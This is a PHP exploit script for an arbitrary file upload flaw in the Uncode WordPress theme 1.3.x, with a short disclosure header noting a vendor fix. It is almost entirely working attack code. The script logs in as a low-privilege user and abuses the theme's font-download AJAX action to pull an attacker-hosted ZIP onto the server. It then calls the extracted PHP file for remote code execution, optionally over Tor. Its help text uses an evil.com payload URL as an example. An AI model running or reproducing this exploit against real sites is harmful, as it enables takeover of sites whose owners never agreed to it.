WordPress Theme Uncode 1.3.1 – Arbitrary File Upload
<?php /** * Exploit Title: Uncode WP Theme RCE Expoit * Google Dork: * Exploit Author: wp0Day.com <contact@wp0day.com> * Vendor Homepage: * Software Link: http://themeforest.net/item/uncode-creative-multiuse-wordpress-theme/13373220 * Version: 1.3.0 possible 1.3.1 * Tested on: Debian 8, PHP 5.6.17-3 * Type: RCE, Arbirary file UPLOAD, (Low Authenticated ) * Time line: Found [24-APR-2016], Vendor notified [24-APR-2016], Vendor fixed: [27-APR-2016], [RD:1464134400] */ require_once('curl.php'); //OR //include('https://raw.githubusercontent.com/svyatov/CurlWrapper/master/CurlWrapper.php'); $curl = new CurlWrapper(); $options = getopt("t:u:p:f:",array('tor:')); print_r($options); $options = validateInput($options); if (!$options){ showHelp(); } if ($options['tor'] === true) { echo " ### USING TOR ###\n"; echo "Setting TOR Proxy...\n"; $curl->addOption(CURLOPT_PROXY,"http://127.0.0.1:9150/"); $curl->addOption(CURLOPT_PROXYTYPE,7); echo "Checking IPv4 Address\n"; $curl->get('https://dynamicdns.park-your-domain.com/getip'); echo "Got IP : ".$curl->getResponse()."\n"; echo "Are you sure you want to do this?\nType 'wololo' to continue: "; $answer = fgets(fopen ("php://stdin","r")); if(trim($answer) != 'wololo'){ die("Aborting!\n"); } echo "OK...\n"; } function logIn(){ global $curl, $options; file_put_contents('cookies.txt',"\n"); $curl->setCookieFile('cookies.txt'); $curl->get($options['t']); $data = array('log'=>$options['u'], 'pwd'=>$options['p'], 'redirect_to'=>$options['t'], 'wp-submit'=>'Log In'); $curl->post($options['t'].'/wp-login.php', $data); $status = $curl->getTransferInfo('http_code'); if ($status !== 302){ echo "Login probably failed, aborting...\n"; echo "Login response saved to login.html.\n"; die(); } file_put_contents('login.html',$curl->getResponse()); } function exploit(){ global $curl, $options; echo "Generateing payload.\n"; $data = array('action'=>'uncodefont_download_font', 'font_url'=>$options['f']); echo "Sending payload\n"; $curl->post($options['t'].'/wp-admin/admin-ajax.php', $data); $resp = $curl->getResponse(); echo "Eco response: ".$resp."\n"; $resp = json_decode($resp,true); if ($resp['success'] === 'Font downloaded and extracted successfully.'){ echo "Response ok, calling RCE\n"; $file_path = parse_url($options['f']); $remote_file_info = pathinfo($file_path['path']); $zip_file_name = $remote_file_info['basename']; $zip_file_name_php = str_replace('.zip', '.php', $zip_file_name); $url = $options['t'].'wp-content/uploads/uncode-fonts/'.$zip_file_name.'/'.$zip_file_name_php; echo 'Url: '. $url."\n"; //POC Test mode if ($file_path['host'] == 'wp0day.com'){ echo "Exploit test mode on\n"; $rnd = rand(); echo "Rand $rnd, MD5: ".md5($rnd)."\n"; $url = $url . '?poc='.$rnd; } $curl->get($url); echo "RCE Response:"; echo $curl->getResponse()."\n\n"; } } logIn(); exploit(); function validateInput($options){ if ( !isset($options['t']) || !filter_var($options['t'], FILTER_VALIDATE_URL) ){ return false; } if ( !isset($options['u']) ){ return false; } if ( !isset($options['p']) ){ return false; } if ( !isset($options['f']) ){ return false; } if (!preg_match('~/$~',$options['t'])){ $options['t'] = $options['t'].'/'; } $options['tor'] = isset($options['tor']); return $options; } function showHelp(){ global $argv; $help = <<<EOD Uncode WP Theme RCE Expoit Usage: php $argv[0] -t [TARGET URL] --tor [USE TOR?] -u [USERNAME] -p [PASSWORD] -f [URL] *** You need to have a valid login (customer or subscriber will do) in order to use this "exploit" ** [TARGET_URL] http://localhost/wordpress/ [URL] It must be ZIP file. It gets unzipped into /wp-content/uploads/uncode-fonts/[some.zip]/files folder Example: rce.php -> zip -> rce.zip -> http://evil.com/rce.zip -> /wp-content/uploads/uncode-fonts/rce.zip/rce.php Examples: php $argv[0] -t http://localhost/wordpress --tor=yes -u customer1 -p password -f http://wp0day.com/res/php/poc.zip Misc: CURL Wrapper by Leonid Svyatov <leonid@svyatov.ru> @link http://github.com/svyatov/CurlWrapper @license http://www.opensource.org/licenses/mit-license.html MIT License EOD; echo $help."\n\n"; die(); } |